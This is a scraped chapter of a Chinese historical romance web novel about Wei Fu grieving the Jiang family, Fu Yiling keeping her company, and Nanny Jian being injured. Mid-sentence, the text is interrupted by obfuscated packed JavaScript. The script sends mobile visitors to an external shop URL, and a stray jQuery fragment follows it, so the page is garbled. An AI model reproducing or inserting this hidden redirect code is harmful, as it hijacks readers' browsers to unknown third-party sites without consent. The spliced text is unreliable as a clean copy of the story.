文趣网 > 都市小说 > 千万和春住 > 10. 10
    那名小卒听从傅以陵调令,奔赴邺城为姜女郎收尸。临行前,卫芙牢牢记住他的长相。

    如今,小卒归来。

    带回的消息有好有坏。

    小卒不辱使命,成功找到姜女郎的尸骨,但姜夫人病重难治,已经离世。最终,小卒将姜女郎母女合葬在一起。姜典簿的身躯、姜家大郎的下落,皆不明朗。

    放在十数年前,谁能想到世道会坏成这样,以至于一家子埋在一起都成了奢望。

    “埋骨之地,你可还记得怎么走?”

    卫芙的声音打着颤,小卒吓了一跳,不由磕巴起来:“记……记得,小的画下来了。”

    小卒不识字,却有自己的办法。只是当时临时抓起树叶,画在了叶片上,经过颠簸、跋涉、泡水又晾干,叶片上字迹越来越淡。

    “女郎莫急,女郎莫急!”

    小卒口中喊着女郎莫急,实则自己早就急得满头大汗。

    “抖什么。”傅以陵往小卒肩上拍了两下,旋即阔步入内,不知从哪儿扒拉出纸笔来,皱皱巴巴,但绝对能用,“描画一遍就是了。”

    小卒应了声是,握笔却不知舔墨,把傅以陵看得直摇头,恨不得抓着小卒的手亲自教授,与此同时,口中喃喃:“是该认认字,不能做个睁眼瞎。”

    有傅以陵盯着,小卒绞尽脑汁,终于把叶片上缺失的部分回忆出来。

    “行。”傅以陵吹着墨迹,随口问:“你自己没受伤吧?”

    “没受伤,小的走滏口陉,打算过龙门渡,结果桥塌了,小的不得不绕路,这才耽误了时辰。”

    傅以陵嗯了声,又夸小卒几句,让他下去领赏钱。

    回过身,见卫芙暗自垂泪,他愣在原地,手中纸张哗啦哗啦乱响一气。

    “画好了。”傅以陵干巴巴地说。

    简嬷嬷赔笑,接过纸张。

    再在这儿站着也是自讨没趣,傅以陵朝简嬷嬷比划了一个手势,意思是他先走。

    简嬷嬷连连点头,无声恭送。

    “女郎,我们先回房,把路线图收好,来日定有机会重回邺城,到时再去祭拜姜女郎。”

    面对嬷嬷的安慰,卫芙已然听不进去,脑海中不断闪过那日的场景,滚落的头颅、满目鲜血、叛军首领渗着毒汁的眼神……以及后来路过潞州,听闻洛阳大屠……

    诚然,她不够坚毅,可是今日才知,惊惧有滞后,悲戚也有滞后。

    “嬷嬷,替我买些纸钱吧。”卫芙一顿,补道:“多买些。”

    她想烧给姜女郎、姜夫人、姜典簿,却远远不够。石洮大军横扫中原,杀戮的岂止一城,毁掉的又岂止是大齐朝廷。

    在石洮大军面前,诗书礼乐成了最无用的东西,礼义廉耻也是一击即碎。

    不知过了多久,门口传来飒沓的脚步声。

    卫芙神魂惊悸,一下子抓住桌上的茶盏,死死盯着珠帘后的人影。

    呼吸在这一刻也要被迫中断。

    她紧张而惶恐,似惊弓之鸟。

    傅以陵入内见到的便是这样一幅景象。

    “是我。”

    他声音不大,又很有技巧地吸引卫芙的注意力,空出的手则把她抓着的茶盏轻轻卸下。

    “简嬷嬷呢?”傅以陵听院子里洒扫的侍女讲过,简嬷嬷去买纸钱了,但他想听卫芙说。

    卫芙神思不属,听了两遍才明白,眼瞳不再涣散,答:“嬷嬷去买纸钱了。”

    如此,傅以陵才算放心——能够有效对答说明问题不大。

    他提着两壶酒,把茶盏一字排开,每一只都斟满,豪迈得即刻就能开酒馆。

    卫芙犹带泪痕,弄不清楚他的意图,也不想弄清楚。

    可是傅以陵连眼都没抬,就不指望他察言观色了。

    卫芙直说:“你怎么来了?”

    “喝吧。”傅以陵自顾自举起茶盏,酒液刚刚碰到嘴唇,只留下一点点湿润痕迹,又挪开,他说:“陪你。”

    这算作回答吗?卫芙不知道。

    傅以陵的这句“陪你”毫无暧昧旖旎之意,但也不是与同袍饮酒的感觉,让人看不懂。

    卫芙兀自擦了会儿眼泪,说:“舒内侍已经启程回晋阳,你不用在这演一往情深。”

    “谁演了?”傅以陵极其不赞同,甚至有种被侮辱的愤懑。

    卫芙也是这个时候才静下来仔细端详他这张脸。

    可能是风吹日晒的缘故,皮肤算不得细腻,但这样健康的光泽配上剑眉星目还真是和谐。

    现在,英挺的脸庞燃着薄怒。

    他说:“我最看不过姓舒的走狗,往后这样的话你不必再说。”

    卫芙听罢,反倒生出好奇,目前以她与傅家的关系,不好太过直截了当,但是可以管中窥豹,窥得一点苗头——傅家,当真对晋阳的皇位虎视眈眈吗?

    她已然忘记掉眼泪的事,推过去一盏酒,循循善诱:“天底下那么多讨厌的人,偏偏舒内侍最让你厌恶么?”

    傅以陵仰首喝了两口,酒液在他这儿就像清水,喝多少都不醉。还未开口,先盯住卫芙。

    卫芙心里咯噔一下,仓皇避开视线。

    “我陪你外出、陪你喝酒,”傅以陵稍作一顿,他意识到提来的两壶酒全都是他自己在喝,“这是再正常不过的事,你是我未过门的妻子,我自然要花工夫陪你,怎就成了扮演?”

    卫芙被说得心虚不已。

    言下之意,他在履行未婚夫婿的职责。

    而她小人之心度君子之腹。

    “你不喝?”傅以陵问。

    他眼眸清明,看起来醉不倒,也没什么酒气。卫芙看了眼,酒液淡黄似米汤,他拿来的是浊酒。

    可惜无论是清酒还是浊酒,卫芙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886293|212547||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    都不碰。她说:“少将军请。”

    “老是少将军少将军的,你不嫌累赘?”傅以陵嘟囔,“被老四听见,又要嚷嚷着上战场立功。”

    关于称谓,卫芙可有话说,“是少将军你明确表示不准我唤鹘郎的。”

    “我也没说让你改口叫鹘郎啊。”傅以陵随口道:“叫我三哥吧,跟老四一样。”

    卫芙静了一瞬。

    还没来得及说什么,简嬷嬷回来了。

    卫芙注意到,嬷嬷左腿落地更重,但又好像看错了,那个动作转瞬即逝。她不确定,于是端详嬷嬷的表情。

    “三哥。”卫芙腾地站起来,舌头有点打结,显然还不适应这个称呼,“你先回吧。”

    傅以陵也怔了一下,没再多话。

    卫芙顾不上他走的时候没把酒壶带上,等周围没人了,上前搀住简嬷嬷,急问:“嬷嬷可是受委屈了?”

    若是走路不当心崴脚没什么可遮掩的,如今这样,一定是受委屈了!

    简嬷嬷被扶着坐下。

    “没事,歇一歇就好了。”

    卫芙哪里肯依,直接蹲下查看嬷嬷的脚踝。

    扭伤了,裤子也染有灰尘。

    她噙着泪,仰头看向嬷嬷,“我眼神很好的,嬷嬷休再瞒我。”

    简嬷嬷心都快碎了,连忙伸手去搂卫芙,“真没事,扭伤有一点疼,这是正常的,但没有伤到骨头。小枣儿,嬷嬷真没事,方才没当着少将军的面直说,是不希望少将军觉得我人老办事不利索。”

    “嬷嬷哪里老了?”卫芙仰着脸,任由嬷嬷给她擦眼泪,“下次不让嬷嬷跑腿,嬷嬷只要陪着我就好。”

    房中有药箱,基础的跌打损伤可以轻松搞定,卫芙挑挑拣拣,找出药酒。

    却很快被嬷嬷按下,“刚扭伤不能马上涂药酒。”

    卫芙脸一红,暗忖自己连这都不知道,不过在嬷嬷面前没什么丢脸的,“要怎么做,嬷嬷告诉我。平时总是嬷嬷照顾我,现在我照顾嬷嬷。”

    简嬷嬷嗳了一声,听起来带着鼻音。

    这下可好,燎原之火熊熊燃烧,卫芙抱着嬷嬷,肆意痛哭,肆意流涕。

    她抽噎着,含糊道:“刚才傅以陵在,我都没好意思擦鼻涕。”

    听着可委屈。

    殊不知,此时的使府后门处,傅以陵双手抱臂,眉宇微皱。

    身旁随从:“禀少将军,小的打听到,方才简嬷嬷就是在此地与茹公发生口角。茹公一身酒气,身摇神晃,见简嬷嬷携带巨量纸钱,怒斥简嬷嬷:‘你们着急给我爹送葬吗!’小的斗胆猜测,茹公错将简嬷嬷认成府上的嬷嬷,又联想到近日茹翁卧病在床,遂勃然大怒。”

    傅以陵听罢,眉心未展,“茹公动手了?”

    随从称是,“简嬷嬷被推搡在地,茹公径自离去。”

    “行,我知道了。”